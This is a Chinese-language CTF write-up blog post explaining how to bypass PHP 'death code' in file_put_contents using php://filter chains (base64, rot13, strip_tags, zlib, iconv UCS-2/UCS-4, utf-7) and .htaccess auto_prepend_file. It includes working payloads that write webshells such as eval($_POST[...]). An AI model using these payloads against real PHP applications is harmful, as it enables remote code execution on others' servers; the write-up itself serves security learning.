——————为什么问题会越来越多呢?
打CTFSHOW的文件包含题的时候,做到最后一题,本以为会就这么愉快的结束一天的行程,没想到又是一个落下已久的坑!
CTFSHOW——Web87
1 | if(isset($_GET['file'])){ |
这里就出现了死亡代码<?php die();?>
一旦执行,程序结束,所以我们有什么办法可以避免执行呢?
解法一
- 介绍一下base64解码的特点
首先base64解码时只会识别字母和一些特殊字符如=,其他的不识别,其次base64解码是将4个字节转化为3个字节,如:
利用这一特性我们可以将题目做出来
- base64编码的特点
base64编码和解码是反过来的,三个字节转换为四个字节
base64以=结尾的意义是为了补位,base64编码后的长度需要是4个字符的倍数,如果不是4的倍数需要在结尾加上=,这个=去掉与否不影响我们使用伪协议
简单来讲,Base64就是用下列总计64个字符:
- A-Z
- a-z
- 0-9
- /
浏览器解码特点
其实当我们在浏览器传参时,浏览器是会先帮我们进行一次url解码的
- 利用filter伪协议
?file=php://filter/convert.base64-decode/resource=s1mple.php
假如我们的file就是这个伪协议的话,注意这里是decode
,我们会把文件里面的内容进行base64解码,因为死亡代码中只有phpdie
会被识别出来,只有六个字节,这时候我们再content最前面添加2个字节就可以销毁死亡代码
- payload
由于浏览器会帮我们进行一次解码,所以这里我们要进行两次URL加密
这里的url编码是要所有字符都进行编码,这里推荐一个网址:http://web.chacuo.net/charseturlencode(选择里面的复杂模式)
1 | ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%33%25%36%64%25%36%34%25%32%65%25%37%30%25%36%38%25%37%30 |
PS:这边不能单单的添加两个a,这时候会出现乱码,由于phpdie是6个字节,当我们添加2个字节aa时:
可以看到我们的尖括号没了,这时候代码不会被运行,这是一个bug吧,类似,当我们再凑四个字节也就是phpdieaaaaa时:
我们的尖括号就回来了然后死亡代码销毁
,程序得以RCE运行,密码是1,最后只需要一步步的去读取flag就可以了
解法二
使用rot13过滤器:
payload:?file=php://filter/write=string.rot13/resource=1.php
content=
传入后1.php的内容如下:
1 | <?cuc qvr('大佬别秀了);<?php eval($_POST[1]);?> |
前面的不会被识别,而我们的eval被识别,RCE就绪
FIlter://伪协议精讲
https://www.anquanke.com/post/id/202510#h2-8
直接上链接,讲的挺精辟的
正式探索file_put_contents和死亡代码
一共三种类型
file_put_contents($filename,”<?php exit();”.$content);
file_put_contents($content,”<?php exit();”.$content);
file_put_contents($filename,$content . “\nxxxxxx”);
这里我们的思路一般是想要将杂糅或者死亡代码分解掉;这里思路基本上都是利用php伪协议filter
,结合编码或者相应的过滤器进行绕过;其原理不外乎是将死亡或者杂糅代码分解成php无法识别的代码;
对于第一种情况
1.base64编码绕过
原理:利用base64编码,将死亡代码解码成乱码!这样php无法识别
1 | #$filename='php://filter/convert.base64-decode/resource=1.php'; |
代码的意思就是,将content写入1.php,然后对写入的代码进行base64解码
由于我们多加了一个a,让原本是phpexit(7字节),变成了phpexita(8字节)进而变成了乱码
而我们的$content = ‘aPD9waHAgcGhwaW5mbygpOz8+’会被解码成,然后访问1.php就好被执行
2.rot13编码绕过
rot13和base64一样也可以分解死亡代码,但是原理不同,rot13不是构造乱码,仅仅只是编码而已
1 | #$filename='php://filter/string.rot13/resource=1.php'; |
只是这种方法有点尴尬的是;因为我们生成的文件内容之中前面的<?并没有分解掉,这时,如果服务器开启了短标签
,那么就会被解析,所以所以后面的代码就会错误;也就失去了作用;
段标签
?>是短标签
是长标签
在php的配置文件(php.ini)中有一个short_open_tag的值,开启以后可以使用PHP的短标签: ?>
同时,只有开启这个才可以使用 = 以代替 echo 。在CodeIgniter的视频教程中就是用的这种方式。
但是这个短标签是不推荐的,使用才是规范的方法。只是因为这种短标签使用的时间比较长,这种特性才被保存了下来。
那么short_open_tag到底是什么呢?
决定是否允许使用代码开始标志的缩写形式( ?> )。如果要和 XML 结合使用 PHP,可以禁用此选项以便于嵌入使用 。否则还可以通过php来输出,例如: 。如果禁用了,必须使用 PHP 代码开始标志的完整形式( )。
注意:本指令也会影响到缩写形式 <?= ,它和 <? echo 等价。使用此缩写需要short_open_tag 的值为 On。
3.htaccess的预包含利用
利用.htaccess文件的一些特性,可以来直接读取flag文件
1 |
|
这段代码的意思是,向.htaccess文件中写入<?php die();?>php_value auto_prepend_file D:\s1mple.php
,由于string.strip_tags
过滤器存在,string.strip_tags可以去除html和PHP的标签,会把<?php die();?>
去除,他识别了这个标签
这里写入后死亡代码已经消失!
意思是每次打开一个php文件之前,都会先打开flag.php文件,利用这个我们可以读取flag文件
1 |
|
我们访问的是upload.php,却成功运行了flag.php
注意事项:但是这种方法也是具有一定的局限性,首先我们需要知道flag文件的位置,和文件的名字,一般的比赛中可以盲猜 flag.php flag /flag /flag.php 等等;另外还有个很大的问题是,string.strip_tags
过滤器只是可以在php5
的环境下顺利的使用,如果题目环境是在php7.3.0
以上的环境下,则会发生段错误。导致写不进去;根本来说是php7.3.0中废弃了string.strip_tags
这个过滤器;
4.混合叠加
顾名思义,叠BUFF的写法
第一掌式:
1 | $filename='php://filter/string.strip_tags|convert.base64-decode/resource=1.php' |
和预包含htaccess文件很相似,将content写入1.php文件,之后用string.strip_tags
去除php标签,也就是死亡代码
,最后再进行base64解码,把我们要执行的代码解码
这边编译器默认也是write=,不填的话就类似智能识别,上面也说了
可以看到已经完美的写入了进去,并且得到了运行
第二掌法:
如果题目的环境是php7
的话,那么我们又该如何?这里受一个题目的启发,也可以使用过滤器进行嵌套来做;组合拳;这里三个过滤器叠加之后先进行压缩,然后转小写,最后解压,会导致部分死亡代码错误;则可以写入shell
;
1 |
|
由结果图可以得知,用压缩和解压的方法也是可以摧毁死亡代码
的
ATTENTION:若我们使用POST传递content一定用burpsuite去传参,hackbar有他奶奶的bug!!!**
对于第二种情况
file_put_contents($content,"<?php exit();".$content);
如此又该如何去处理呢?
1.常规base64方法
php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=s1mple.php
或者php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php
我们写的这些小是作为文件名而不是写入代码,由于后边跟了一个.$content所以还要把这一整段代码黏上去:
进行拼接之后就是<?php exit();php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php
然后会对其进行一次整体的base64-decode。从而分解掉死亡代码,但是有个小问题,当时我也有点不解,一直无法生成content;虽然文件创建成功,但是就是无法生成content。翻了翻cyc1e师傅的文章,和其他文章 ,发现问题在于resource后面的‘=’;
都知道‘=’在base64中的作用是填充,也就是以为着结束;在‘=’的后面是不允许有任何其他字符的否则会报错,有的解码程序会自动忽略后面的字符从而正常解码,其实实际上还是有问题的。如下图所示;
那现在我们的思路就比较清晰了,要躲避这个=就可以
2.嵌套base64
payload: php://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php
由于用到了strip.tags自然要求php版本为5
我们测试看看载荷效果;
这边进行拼接后结果就是<?php exitphp://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php
,然后由于有string.strip.tags,所以<?php exitphp://filter/string.strip.tags|convert.base64-decode/resource=?>
变为空,
最终剩下的代码为:PD9waHAgcGhwaW5mbygpOz8%2B.php
最后得到可以得到我们要运行的代码
发现可以生成文件,并且可以看到我们已经成功写入了shell;但是文件名确实有问题,当我们在浏览器访问的时候,会出现访问不到的问题,这里是因为引号的问题;那么如何避免,我们可以使用伪目录的方法,进行变相的绕过去;
更完美的payload:php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
跟上面的思路一样,黏贴后:<?php exit();php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../s1mple.php
删掉...........?>之间的东西后剩余PD9waHAgcGhwaW5mbygpOz8+/../s1mple.php
还是可以得到我们要的代码,可以被执行
我们将前面的一串base64字符和闭合的符号整体看作一个目录,虽然没有,但是我们后面重新撤回了原目录,生成s1mple.php文件;从而就可以生成正常的文件名;载荷效果如下:
3.一种另类base嵌套(某博客说的)
payload:php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
我的思路:
老样子黏贴起来后:<?php exit();php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
strip_tags去掉 ?>中的内容后:PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
最后进行base64编码得出最后的内容:5^
达到命令执行的目的
某博客的解释:
他的意思是代码粘起来:<?php exit();php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
之后
strip_tags去除内容后为:<?php exit();PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
**反驳点一:
**将这段话进行base64解码后结果为:
^ƫOܚ[ʊNϏͦW
一堆乱码!
反驳点二:
按博主的意思应该是,<?|string.strip_tags|convert.base64-decode/resource=?>
这段内容闭合了,结果留下了<?php exit();
和PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
实际的结果如何呢?:
我做了一个脚本测试
1 |
|
这里正常连接起来后为:<?php exit()<?;?>PD9waHAgcGhwaW5mbygpOz8+
按照博主的意思,最后1.php里的内容为:<?php exit()PD9waHAgcGhwaW5mbygpOz8+
解码后:
^ƫOܚ[ʊNϏ
实际内容:
所以2,3实际是同一种类型的base64嵌套,并不是什么另类
4.rot13
尽管base64比较特别,但是并不是所有的编码都受限于‘=’,这里可以采用rot13编码即可;php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=s1mple.php
这里<?php phpinfo();?>
的rot13编码即为<?cuc cucvasb();?>
,所以这里可以进行写入;载荷效果如下:
5.convert.iconv.
这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。 然而 我们可以留意到 iconv — 字符串按要求的字符编码来转换;;其用法:iconv ( string $in_charset , string $out_charset , string $str ) : string 将字符串 str 从 in_charset 转换编码到 out_charset。 就其功能而论,有点类似于base_convert的功效一样,只不过二者还是有作用的区别,只是都是涉及编码转换的问题而已;(可以类比);由此记得国赛的一道love_math的题目,有了base_convert之后就可以尽情的转换从而getshell;
那么我们就可以借用此过滤器,从而进行编码的转换,写入我们需要的代码,然后转换掉死亡代码,其实本质上来说也是利用了编码的转换;
usc-2
通过usc-2的编码进行转换;对目标字符串进行2位一反转;(因为是两位一反转,所以字符的数目需要保持在偶数位上)
payload:php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[m1lp]e;)>?/resource=s1mple.php;
其实也是变向的转换回来,从而利用那一次转换对死亡代码进行扰乱;载荷效果如下:
usc-4
活用convert.iconv。可以进行usc-4编码转化;就是4位一反转;类比可知,构造的shell代码应该是usc-4中的4倍数;
通过测试我们可以明确的看到确实是需要是4的倍数才可以进行,否则会进行报错;
payload:php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=s1mple.php
荷载效果如下:
utf-8与utf-7之间的转化
经过测试发现如下的现象:
这里发现生成的是+AD0-
,然而经过检测,此字符串可以被base64进行解码;那也就意味着我们可以使用这种方法避免等号对我们base64解码的影响
;我们可以直接写入base64加密后的payload,然后将其进行utf之间的转换,因为纯字符转换之后还是其本身;所以其不受影响,进而我们的base64-encode之后的编码依然是存在的,然后进行base64-decode一下,写入shell;算上是一种组合拳;
payload:php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=s1mple.php
载荷效果如下:
小结
- 以上所有的操作都应该是在linux系统中去完成的,因为windows不支持?>文件开头
- 2,3实际是同一种类型
- 熟练运用Filter伪协议
- base64的解密规则是四转三
- conver.iconv类
About this Post
This post is written by Boogipop, licensed under CC BY-NC 4.0.